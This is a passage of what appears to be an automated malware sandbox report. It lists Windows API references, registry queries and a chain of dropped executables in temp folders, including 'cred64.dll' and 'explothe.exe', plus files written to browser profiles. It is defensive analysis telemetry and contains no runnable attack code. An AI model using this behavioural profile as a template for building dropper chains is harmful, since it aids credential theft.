00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API "GetEnvironmentStrings" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp")68:T705,Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API "RegQueryInfoKeyA" (Indicator: "RegQueryInfoKey"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API "" (Indicator: "RegOpenKey"; Source: "00000000-00000236.00000000.74556.03560000.00000004.mdmp, 00000000-00000236.00000001.76476.03560000.00000004.mdmp") Found reference to API "" (Indicator: "RegOpenKey"; Source: "00000000-00000236.00000000.74556.03560000.00000004.mdmp, 00000000-00000236.00000001.76476.03560000.00000004.mdmp") Found reference to API "RegQueryValueExW" (Indicator: "RegQueryValue"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API "RegEnumValueW" (Indicator: "RegEnumValue"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API "RegOpenKeyExW" (Indicator: "RegOpenKey"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API "RegEnumKeyExW" (Indicator: "RegEnumKey"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API "RegQueryInfoKeyW" (Indicator: "RegQueryInfoKey"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API "RegNotifyChangeKeyValue" (Indicator: "RegNotifyChangeKeyValue"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp")69:T400,Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API "Error loading %shGetProcAddress() failed on function '%s'. Possible reason: incorrect version of advpack.dll being used./Windows 95 or Windows NT is required to install" (Indicator: "GetProcAddress"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp, 00000000-00000236.00000000.74556.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.055E0000.00000004.mdmp, 00000000-00000236.00000001.76476.05770000.00000004.mdmp, 00000000-00000236.00000001.76476.06A30000.00000004.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp")6a:Tf55,Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API "GetTempFileNameA" (Indicator: "GetTempFileName"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfo"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfoSize"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API "GetFileVersionInfoA" (Indicator: "GetFileVersionInfo"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API "GetTempPath2W" (Indicator: "GetTempPath"; File: "1eP24vr0.exe.449690253") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; File: "1eP24vr0.exe.449690253") Found reference to API "0GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00000236.00000001.76476.725C1000.00000020.mdmp") Found reference to API "0GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00000236.00000001.76476.725C1000.00000020.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00000236.00000001.76476.725C1000.00000020.mdmp, 00000000-00000236.00000001.76476.72841000.00000020.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00000236.00000001.76476.725C1000.00000020.mdmp, 00000000-00000236.00000001.76476.72841000.00000020.mdmp") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00000236.00000001.76476.725C1000.00000020.mdmp, 00000000-00000236.00000001.76476.72841000.00000020.mdmp") Found reference to API "GetFileVersionInfoExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00000236.00000001.76476.725C1000.00000020.mdmp, 00000000-00000236.00000001.76476.72841000.00000020.mdmp") Found reference to API "GetFileAttributesExW" (Indicator: "GetFileAttributes"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00000236.00000001.76476.72841000.00000020.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00000236.00000001.76476.72841000.00000020.mdmp") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; Source: "00000000-00000236.00000001.76476.72855000.00000002.mdmp")6b:T877,Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") file/memory contains long string with (Indicator: "OpenProcessToken"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API "GetUserObjectInformationA" (Indicator: "GetUserObjectInformation"; File: "cDLTjqPjMRTDiE7.exe.2237874424") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; File: "cDLTjqPjMRTDiE7.exe.2237874424") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API "GetUserObjectInformationA" (Indicator: "GetUserObjectInformation"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00000236.00000000.74556.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.055E0000.00000004.mdmp, 00000000-00000236.00000001.76476.05770000.00000004.mdmp, 00000000-00000236.00000001.76476.06A30000.00000004.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API "GetUserName" (Indicator: "GetUserName"; Source: "00000000-00000236.00000000.74556.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.055E0000.00000004.mdmp, 00000000-00000236.00000001.76476.05770000.00000004.mdmp, 00000000-00000236.00000001.76476.06A30000.00000004.mdmp") Found reference to API "LookupAccountSidW" (Indicator: "LookupAccountSid"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp")6c:T5c8,Observed import api "GetCommandLineA" which can "Retrieves the command-line string for the current process" [Source: pNUNUVkvaKFYhDc.exe] Observed import api "GetCommandLineA" which can "Retrieves the command-line string for the current process" [Source: 4iO097Yk.exe] Observed import api "GetCommandLineA" which can "Retrieves the command-line string for the current process" [Source: 2Oo2948.exe] Observed import api "GetCommandLineA" which can "Retrieves the command-line string for the current process" [Source: sus.exe] Observed import api "GetCommandLineA" which can "Retrieves the command-line string for the current process" [Source: 3CC98ik.exe] Observed import api "GetCommandLineA" which can "Retrieves the command-line string for the current process" [Source: aPXj3QNJzkKIKoxT.dll] Observed import api "GetCommandLineA" which can "Retrieves the command-line string for the current process" [Source: 1eP24vr0.exe] Observed import api "GetCommandLineA" which can "Retrieves the command-line string for the current process" [Source: ZtBZcoNCoY6ikF1.exe] Observed import api "GetCommandLineA" which can "Retrieves the command-line string for the current process" [Source: cDLTjqPjMRTDiE7.exe] Observed import api "GetCommandLineA" which can "Retrieves the command-line string for the current process" [Source: WREQ0KOSK9O5sPY.exe] Observed import api "GetCommandLineA" which can "Retrieves the command-line string for the current process" [Source: clip64_1_.dll]6d:T422,Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00000236.00000000.74556.03560000.00000004.mdmp, 00000000-00000236.00000001.76476.03560000.00000004.mdmp") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00000236.00000000.74556.03560000.00000004.mdmp, 00000000-00000236.00000001.76476.03560000.00000004.mdmp") Found reference to API "DeleteFileW" (Indicator: "DeleteFile"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API "RemoveDirectoryW" (Indicator: "RemoveDirectory"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp")6e:T40d,Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") file/memory contains long string with (Indicator: "AdjustTokenPrivileges"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp")6f:Tb86,Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API "FreeSid" (Indicator: "FreeSid"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API "EqualSid" (Indicator: "EqualSid"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API "" (Indicator: "AccessCheck"; Source: "00000000-00000236.00000000.74556.03560000.00000004.mdmp, 00000000-00000236.00000001.76476.03560000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileSecurityW"; Source: "00000000-00000236.00000000.74556.03560000.00000004.mdmp, 00000000-00000236.00000001.76476.03560000.00000004.mdmp") Found reference to API "ImpersonateLoggedOnUser" (Indicator: "ImpersonateLoggedOnUser"; Source: "00000000-00000236.00000000.74556.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.055E0000.00000004.mdmp, 00000000-00000236.00000001.76476.05770000.00000004.mdmp, 00000000-00000236.00000001.76476.06A30000.00000004.mdmp") Found reference to API "GetLengthSid" (Indicator: "GetLengthSid"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API "CopySid" (Indicator: "CopySid"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API "InitializeAcl" (Indicator: "InitializeAcl"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API "DuplicateToken" (Indicator: "DuplicateToken"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API "SetEntriesInAclW" (Indicator: "SetEntriesInAcl"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp")70:T117b,Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: go3wz13.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: go3wz13.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: go3wz13.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: go3wz13.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: go3wz13.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: foto3553.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: foto3553.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: foto3553.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: foto3553.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: foto3553.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: KN5EZ95.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: KN5EZ95.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: KN5EZ95.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: KN5EZ95.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: KN5EZ95.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: ny1qE70.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: ny1qE70.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: ny1qE70.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: ny1qE70.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: ny1qE70.exe] Observed import api "GetSidIdentifierAuthority" which can "Returns a pointer to the SID_IDENTIFIER_AUTHORITY structure in a specified security identifier (SID)" [Source: ZtBZcoNCoY6ikF1.exe] Observed import api "GetSidSubAuthority" which can "Returns a pointer to a specified subauthority in a security identifier (SID)" [Source: ZtBZcoNCoY6ikF1.exe] Observed import api "GetSidSubAuthorityCount" which can "Returns a pointer to the member in a security identifier (SID) structure that contains the subauthority count" [Source: ZtBZcoNCoY6ikF1.exe]71:Tfbd,"NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP000.TMP\GO3WZ13.EXE"; Value: "") "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP000.TMP\5TG3FW0.EXE"; Value: "") "go3wz13.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP001.TMP\KN5EZ95.EXE"; Value: "") "go3wz13.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP001.TMP\4IO097YK.EXE"; Value: "") "KN5EZ95.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP002.TMP\NY1QE70.EXE"; Value: "") "KN5EZ95.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP002.TMP\3CC98IK.EXE"; Value: "") "ny1qE70.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP003.TMP\1EP24VR0.EXE"; Value: "") "ny1qE70.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP003.TMP\2OO2948.EXE"; Value: "") "1eP24vr0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\MICROSOFT.NET\FRAMEWORK\V4.0.30319\APPLAUNCH.EXE"; Value: "") "2Oo2948.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "2Oo2948.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\MICROSOFT.NET\FRAMEWORK\V4.0.30319\APPLAUNCH.EXE"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\PARAMETERS"; Key: "TRANSPORTS"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\VMBUS\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\PSCHED\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\PSCHED"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP6"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MINSOCKADDRLENGTH"; Value: "")72:Ta48,"go3wz13.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\go3wz13.exe]- [targetUID: 00000000-00007876] "pNUNUVkvaKFYhDc.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%TEMP%\pNUNUVkvaKFYhDc.exe]- [targetUID: 00000000-00007348] "4iO097Yk.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\4iO097Yk.exe]- [targetUID: 00000000-00004404] "2Oo2948.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP003.TMP\2Oo2948.exe]- [targetUID: 00000000-00006044] "sus.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%TEMP%\1000023051\sus.exe]- [targetUID: 00000000-00002144] "3CC98ik.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\3CC98ik.exe]- [targetUID: 00000000-00007608] "KN5EZ95.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\KN5EZ95.exe]- [targetUID: 00000000-00007608] "aPXj3QNJzkKIKoxT.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\aPXj3QNJzkKIKoxT.dll]- [targetUID: 00000000-00007348] "ny1qE70.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\ny1qE70.exe]- [targetUID: 00000000-00007608] "1eP24vr0.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP003.TMP\1eP24vr0.exe]- [targetUID: 00000000-00001700] "ZtBZcoNCoY6ikF1.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\ZtBZcoNCoY6ikF1.exe]- [targetUID: 00000000-00004736] "cDLTjqPjMRTDiE7.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\cDLTjqPjMRTDiE7.exe]- [targetUID: 00000000-00000236] "WREQ0KOSK9O5sPY.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\WREQ0KOSK9O5sPY.exe]- [targetUID: 00000000-00007348] "5tg3FW0.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\5tg3FW0.exe]- [targetUID: 00000000-00005808] "spSq6zjfkzXbD0K.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%TEMP%\spSq6zjfkzXbD0K.exe]- [targetUID: 00000000-00007348] "91NL8LQzC2Bqri4.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- Location: [%TEMP%\91NL8LQzC2Bqri4.exe]- [targetUID: 00000000-00007348] "explothe.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\fefffe8cea\explothe.exe]- [targetUID: 00000000-00004736]73:Te65,Dropped file: "powershell.exe.log" - Location: [%LOCALAPPDATA%\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log]- [targetUID: 00000000-00001948] Dropped file: "cred64.dll" - Location: [%APPDATA%\006700e5a2ab05\cred64.dll]- [targetUID: 00000000-00002144] Dropped file: "AppLaunch.exe.log" - Location: [%LOCALAPPDATA%\Microsoft\CLR_v4.0_32\UsageLogs\AppLaunch.exe.log]- [targetUID: 00000000-00001984] Dropped file: "data_3" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_3]- [targetUID: 00000000-00003748] Dropped file: "data_2" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_2]- [targetUID: 00000000-00003748] Dropped file: "load_statistics.db-wal" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\load_statistics.db-wal]- [targetUID: 00000000-00003748] Dropped file: "data_1" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_1]- [targetUID: 00000000-00003748] Dropped file: "000009.log" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000009.log]- [targetUID: 00000000-00003748] Dropped file: "000013.ldb" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000013.ldb]- [targetUID: 00000000-00003748] Dropped file: "000014.ldb" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000014.ldb]- [targetUID: 00000000-00003748] Dropped file: "000003.log" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log]- [targetUID: 00000000-00003748] Dropped file: "data_1" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\DawnCache\data_1]- [targetUID: 00000000-00003748] Dropped file: "data_1" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User 